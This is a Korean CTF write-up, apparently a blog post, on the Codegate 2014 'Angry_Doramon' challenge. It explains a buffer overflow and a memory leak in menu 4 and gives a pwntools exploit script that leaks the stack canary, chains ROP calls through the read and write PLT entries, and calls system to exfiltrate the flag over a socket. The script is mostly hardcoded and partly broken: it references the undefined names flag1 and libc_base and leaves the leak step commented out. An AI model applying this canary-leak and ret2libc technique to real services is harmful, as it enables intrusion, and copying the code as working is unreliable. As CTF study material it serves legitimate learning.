Pwnable/CTF

Codegate2014 Angry_Doramon

HSr00t 2017. 2. 14. 00:47



다른것 다 생략하고 4번 메뉴에 mouse ~ 어찌구 하는 메뉴에 버퍼오버플로우 + memory leak 취약점이 있다.  "read(fd,&buf,110u)" <-이 부분이 오버플로우 , 그 아래쪽에 sprintf <- 이 함수가 NULL값을 만날때까지 출력이 되기때문에 Memory leak이 된다. 그리고 v8변수가 카나리 변수 이기 때문에 buf[16h] - v8[ch] = 10 즉, 버퍼의 크기는 10 


그 다음 카나리 릭을 할떄 버퍼의 크기를 10개 넣으면 안된다. 카나리는 메모리 릭을 방지해서 첫 번쨰 주소가 00 으로 되있기때문에 "Y"*11개를 넣어서 해야된다.  (여기서 y를 쳐야되는 이유가 if(buf==121)을 만족시켜야 되기떄문이다 )



(그냥 빠르게 풀자는 마음으로 하다보니 .. 코드가 많이 더럽습니다 .. 메모리 릭 카나리 릭 익스 따로따로 하였습니다.)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#-*- coding: utf-8 -*-
 
from pwn import *
 
import hexdump
 
import time
 
 
 
p=remote("192.168.146.155",8888)
 
leak="y"+"C"*10
 
 
 
###
 
flag="cat /home/k0rea/바탕화면/Angry_Doramon/flag>&4\00" #&4 백그라운드 파일 디스크립터 4 
 
shell="/bin/sh\00"
 
p3r=0x080495bd
 
read_plt=0x08048620
 
read_got=0x0804b010
 
read_libc=0xb7665980
 
bss=0x0804b080
 
write_plt=0x080486E0
 
write_got=0x0804b040
 
write_libc=0xb76699f0
 
base_offset=0xc6c20
 
canary=0x1076d200
 
###
 
###위까지 변수목록
 
 
 
print p.recvuntil('>')
 
p.sendline("4")
 
print p.recv(1024)
 
p.send(leak)
 
canary_leak=p.recv(1024)[23:26]
 
canary="\x00"+(canary_leak)
 
print "Oh.. my.. Canary : "+hex(u32(canary))
 
#위 코드가 canary leak
 
 
 
 
 
payload="y"+"A"*9
 
payload+=p32(canary)
 
payload+="B"*12
 
payload+=p32(write_plt)
 
payload+=p32(p3r)
 
payload+=p32(4)
 
payload+=p32(write_got)
 
payload+=p32(4)
 
 
 
 
 
#p.sendline(payload)
 
#write_libc1=u32(p.recv(4))
 
 
 
print "write_libc: "+ hex(write_libc)
 
system=write_libc-0x9ac50
 
 
 
print "libc base: "+hex(libc_base)
 
print "system Address : "+hex(system)
 
 
 
#위 까지가 라이브러리 leak
 
 
 
payload1="y"+"A"*9
 
payload1+=p32(canary)
 
payload1+="B"*12
 
 
 
payload1+=p32(read_plt)
 
payload1+=p32(p3r)
 
payload1+=p32(4)
 
payload1+=p32(bss)
 
payload1+=p32(len(flag1))
 
 
 
payload1+=p32(system)
 
payload1+=p32(0xaabbccdd)
 
payload1+=p32(bss)
 
 
 
p.sendline(payload1)
 
p.sendline(flag1)
 
 
 
print p.recv(1024)
 
 
 
#위 까지가 exploit code 
cs


문제를 풀어보면서 libc.so.6 를 주는 문제는 다 풀수있을것같은데 .. 안 주는 문제는 오프셋을 구할떄 libcdb.com에서도 맞는게 없거나 너무 많은게 나오거나, libc-database <- 여기꺼는 오프셋이 안맞을떄 .. 으캐 .. 해야될지 감이 안온다 ..이번 문제에서 그랫다 ..